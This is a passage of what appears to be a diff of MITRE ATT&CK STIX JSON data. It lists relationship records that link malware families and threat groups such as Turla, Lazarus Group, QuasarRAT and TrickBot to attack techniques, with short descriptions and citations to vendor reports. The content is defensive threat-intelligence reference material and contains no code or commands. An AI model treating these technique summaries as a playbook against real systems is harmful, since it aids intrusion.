"ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve IP addresses of compromised machines.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3c52b081-7521-4b73-8603-e6d05496db0c", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to use pass the ticket with Kerberos for authentication.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--02a7ea5c-695c-4932-9160-6e0441789670", + "external_references": [ + { + "source_name": "Symantec Seaduke 2015", + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2018-10-17T00:14:20.652Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87231371-e005-44ab-9b66-1954615f2a7e", + "source_ref": "malware--310f437b-29e7-4844-848c-7220868d074a", + "relationship_type": "revoked-by", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used C:\\Windows\\Debug and C:\\Perflogs as staging directories.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b7d36798-e9f2-4474-836e-80b100a561e6", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-25T12:24:57.200Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:53:38.842Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c6ceeb68-5d8e-4105-a20a-cce2b3ef48f0", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "relationship_type": "uses", + "target_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can delete specified files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d51e34d-d2ee-41aa-9ec7-dc74c84ebe9f", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) downloads another dropper from its C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e41ab3e7-2b69-4461-a693-e53a24c9ab59", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-01-30T18:08:51.179Z", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) can save a new file to the system from the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2227a2ce-2eda-4fe3-a9ca-524e0de0ded2", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "modified": "2019-04-24T23:55:43.269Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Felismus](https://attack.mitre.org/software/S0171) has masqueraded as legitimate Adobe Content Management System files.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2843ccc2-4869-48a0-8967-b9856a778a2c", + "external_references": [ + { + "source_name": "Forcepoint Felismus Mar 2017", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is capable of downloading additional files through C2 channels, including a new version of itself.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--259a5116-2492-4d7b-b300-1cf9b8c79f00", + "external_references": [ + { + "source_name": "ClearSky OilRig Jan 2017", + "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", + "url": "http://www.clearskysec.com/oilrig/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nerex](https://attack.mitre.org/software/S0210) drops a signed Microsoft DLL to disk.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4e1d7798-ffb7-4495-aab7-ca13db2dade5", + "external_references": [ + { + "source_name": "Symantec Nerex May 2012", + "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has the capability to delete files off the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--def89c4a-b394-4137-8a96-c794780352f2", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about users on remote hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ef699184-4191-4fc0-8525-6fa1dcfc61d7", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-22T23:25:33.564Z", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can retrieve system information.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--05104256-7e9a-457b-8e9f-86976992f3c7", + "external_references": [ + { + "source_name": "Symantec Linfo May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) uses DLL side-loading to load malicious programs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bfb99438-5a97-47e1-921f-dbf8863799ed", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.165Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can change C2 servers.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0fbd4496-f715-4edd-b4da-169d6047a7c9", + "external_references": [ + { + "source_name": "Symantec Linfo May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can delete files on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--30c22798-520c-40cc-b53f-352a1c0a4940", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a7e5ffbc-d123-4f62-88eb-36b32656cd35", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "modified": "2019-04-29T18:23:16.002Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some resources in [Prikormka](https://attack.mitre.org/software/S0113) are encrypted with a simple XOR operation or encoded with Base64.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--290a1ceb-68e1-42ae-be81-f474038aaa05", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.222Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can launch a remote shell to execute commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b1bd60cf-f120-4ed1-b891-0ae3fab2a725", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + } + ], + "modified": "2019-06-24T19:05:41.540Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a built-in keylogger.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2ede8fe4-0a44-4c31-ba4c-d3282d57b4b8", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-06-24T19:05:41.567Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TDTESS](https://attack.mitre.org/software/S0164) creates then deletes log files during installation of itself as a service.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0061f7aa-fe4e-41e5-8ebf-e9f526bda08f", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:11:24.649Z", + "type": "relationship", + "id": "relationship--7b88fc6b-32c0-4c3d-9ea3-505543c7f374", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using HTTP, HTTPS, SMTP, and DNS for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7e57ff2-f14b-44fa-97e3-8bc976cb9bd5", + "external_references": [ + { + "source_name": "Symantec Remsec IOCs", + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:09:34.827Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2df910df-37cc-4349-96c3-f938fa5a9054", + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes commonly used ports such as 443, 53, 80, 25, and 8080.", + "type": "relationship", + "created": "2017-05-31T21:33:27.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--88896f55-5606-4b21-8616-e7965a863dd8", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.569Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used spearphishing via a link to get users to download and run their malware.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8be8b96b-b69c-497a-8b38-308b8bd291ff", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2019-07-14T21:04:44.963Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses HTTP for C2 communication.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ee6890f-748e-419e-a442-7dd44e29958a", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses port 443 for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 